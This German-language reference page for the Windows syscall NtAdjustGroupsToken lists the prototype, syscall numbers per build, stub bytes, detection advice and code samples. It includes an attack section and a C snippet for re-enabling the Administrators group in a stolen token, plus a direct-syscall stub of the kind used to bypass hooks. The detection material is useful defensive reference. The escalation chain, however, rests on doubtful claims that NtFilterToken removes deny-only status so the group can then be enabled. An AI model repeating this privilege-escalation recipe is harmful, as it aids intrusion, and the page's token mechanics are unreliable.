NtAdjustGroupsToken
Aktiviert oder deaktiviert Gruppen (SIDs) in einem Access-Token oder setzt Gruppen-Attribute auf ihren Default-Zustand zurück.
Prototyp
NTSTATUS NtAdjustGroupsToken( HANDLE TokenHandle, BOOLEAN ResetToDefault, PTOKEN_GROUPS NewState, ULONG BufferLength, PTOKEN_GROUPS PreviousState, PULONG ReturnLength );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| TokenHandle | HANDLE | in | Token-Handle, geöffnet mit TOKEN_ADJUST_GROUPS-Zugriff (und TOKEN_QUERY, falls PreviousState angefordert). |
| ResetToDefault | BOOLEAN | in | TRUE setzt jedes Gruppen-Attribut auf seinen Default zurück (NewState wird ignoriert); FALSE wendet NewState an. |
| NewState | PTOKEN_GROUPS | in | Array von SID_AND_ATTRIBUTES, das angewendet wird. Attribute schalten typischerweise SE_GROUP_ENABLED / SE_GROUP_ENABLED_BY_DEFAULT um. |
| BufferLength | ULONG | in | Größe des PreviousState-Puffers in Bytes. 0 übergeben, wenn PreviousState NULL ist. |
| PreviousState | PTOKEN_GROUPS | out | Optionaler Puffer, der den vorherigen Gruppen-Attributsatz empfängt, damit der Aufrufer später zurücksetzen kann. |
| ReturnLength | PULONG | out | Empfängt die in PreviousState geschriebenen Bytes (oder die benötigten bei STATUS_BUFFER_TOO_SMALL). |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x6A | win10-1507 |
| Win10 1607 | 0x6A | win10-1607 |
| Win10 1703 | 0x6B | win10-1703 |
| Win10 1709 | 0x6B | win10-1709 |
| Win10 1803 | 0x6B | win10-1803 |
| Win10 1809 | 0x6B | win10-1809 |
| Win10 1903 | 0x6B | win10-1903 |
| Win10 1909 | 0x6B | win10-1909 |
| Win10 2004 | 0x6C | win10-2004 |
| Win10 20H2 | 0x6C | win10-20h2 |
| Win10 21H1 | 0x6C | win10-21h1 |
| Win10 21H2 | 0x6C | win10-21h2 |
| Win10 22H2 | 0x6C | win10-22h2 |
| Win11 21H2 | 0x6C | win11-21h2 |
| Win11 22H2 | 0x6C | win11-22h2 |
| Win11 23H2 | 0x6C | win11-23h2 |
| Win11 24H2 | 0x6C | win11-24h2 |
| Server 2016 | 0x6A | winserver-2016 |
| Server 2019 | 0x6B | winserver-2019 |
| Server 2022 | 0x6C | winserver-2022 |
| Server 2025 | 0x6C | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 6C 00 00 00 mov eax, 0x6C F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
Die Kernel-Seite der Win32-API `AdjustTokenGroups`. Geschwister von `NtAdjustPrivilegesToken` — Privilegien leben in TOKEN_PRIVILEGES, Gruppenmitgliedschaft in TOKEN_GROUPS. `NtAdjustGroupsToken` kann keinen SID zu einem Token *hinzufügen*; es kann nur die bereits im Token vorhandenen SIDs (enabled, disabled, deny-only oder restricted) aktivieren, deaktivieren oder auf den Default zurücksetzen. Um das Attribut SE_GROUP_USE_FOR_DENY_ONLY eines SIDs abzuschalten, muss man typischerweise zuerst `NtFilterToken` aufrufen, um eine Nicht-Deny-Variante zu erzeugen. Jeder SID in NewState wird mit einer Attributes-Maske gepaart (SE_GROUP_ENABLED, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_OWNER, SE_GROUP_USE_FOR_DENY_ONLY); SE_GROUP_ENABLED auf einem zuvor deaktivierten SID aktiviert ihn.
Häufige Malware-Nutzung
**Group-SID-Reaktivierung für Privilege-Escalation-Ketten**: das kanonische Setup ist ein Angreifer, der ein Token gestohlen hat (über SeImpersonatePrivilege, Rotten/Juicy Potato, PrintSpoofer, etc.), das BUILTIN\Administrators als Deny-Only-SID enthält (typischer Zustand unter UAC-Split-Token IL Medium). Der Angreifer ruft NtFilterToken oder Token-Duplizierung, um eine Nicht-Deny-Variante zu erzeugen, dann NtAdjustGroupsToken, um SE_GROUP_ENABLED auf dem Administrators-SID wieder anzuschalten — sofortige Admin-Gruppenmitgliedschaft am Live-Thread ohne interaktiven UAC-Prompt. Seltener wird es genutzt, um einen SID zu unterdrücken, den der Angreifer nicht evaluiert wissen will (Logging-Gruppen-SID deaktivieren, das beim Dateizugriff Extra-Auditing triggert). Dokumentiert in offensiven Toolchains rund um die Familien AlwaysInstallElevated und SeImpersonatePrivilege.
Erkennungsmöglichkeiten
Microsoft-Windows-Security-Auditing Event-ID 4672 (Spezialprivilegien zugewiesen) und 4673 (privilegierter Dienst aufgerufen) helfen bei der Privilege-Seite; die Gruppen-Adjust-Seite wird nur indirekt über 4670 (Berechtigungen auf einem Objekt geändert) abgedeckt. EDRs, die Token-Modifikations-Primitiven tracken, zeigen eine Sequenz wie (NtOpenProcessToken auf einem höher privilegierten Prozess → NtDuplicateToken → NtFilterToken → NtAdjustGroupsToken → NtSetInformationThread(ImpersonationToken)) als Token-Abuse-Kette. Die verteidiger-freundliche Invariante: legitime Prozesse rufen NtAdjustGroupsToken so gut wie nie auf, um einen zuvor deaktivierten High-Privilege-SID zu *aktivieren*; Auditoren, die den Token-Zustand beim Prozess-Erzeugen snapshotten und mit dem Laufzeitzustand vergleichen, können das Delta flaggen. ETW Microsoft-Windows-Kernel-Audit-API-Calls zeigt den Syscall in moderatem Volumen.
Direkte Syscall-Beispiele
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtAdjustGroupsToken (SSN 0x6C on Win10 2004+/Win11)
NtAdjustGroupsToken PROC
mov r10, rcx ; syscall convention
mov eax, 6Ch ; SSN — stable across modern builds
syscall
ret
NtAdjustGroupsToken ENDPcPrivesc — re-enable BUILTIN\Administrators in a stolen token
// Assumes hTok came from NtDuplicateToken + NtFilterToken (non-deny variant).
// Re-enable SE_GROUP_ENABLED on the Administrators SID in-place.
#include <windows.h>
#include <winternl.h>
static VOID EnableAdminsGroup(HANDLE hTok) {
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID adminSid = NULL;
AllocateAndInitializeSid(&nt, 2,
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, &adminSid);
BYTE buf[sizeof(TOKEN_GROUPS) + sizeof(SID_AND_ATTRIBUTES)];
TOKEN_GROUPS* tg = (TOKEN_GROUPS*)buf;
tg->GroupCount = 1;
tg->Groups[0].Sid = adminSid;
tg->Groups[0].Attributes = SE_GROUP_ENABLED; // flip the bit
// Win32 wrapper -> NtAdjustGroupsToken
AdjustTokenGroups(hTok, FALSE, tg, 0, NULL, NULL);
FreeSid(adminSid);
}cSnapshot then restore previous group state
// Defensive / red-team utility: change group state, do work, restore exactly.
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pNtAdjustGroupsToken)(
HANDLE, BOOLEAN, PTOKEN_GROUPS, ULONG, PTOKEN_GROUPS, PULONG);
VOID WithToggledGroup(HANDLE hTok, TOKEN_GROUPS* desired) {
pNtAdjustGroupsToken NtAdjustGroupsToken = (pNtAdjustGroupsToken)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAdjustGroupsToken");
BYTE prev[4096]; ULONG ret = 0;
NtAdjustGroupsToken(hTok, FALSE, desired,
sizeof(prev), (PTOKEN_GROUPS)prev, &ret);
DoWorkWithToggledGroups();
NtAdjustGroupsToken(hTok, FALSE, (PTOKEN_GROUPS)prev,
0, NULL, NULL); // revert exact prior state
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20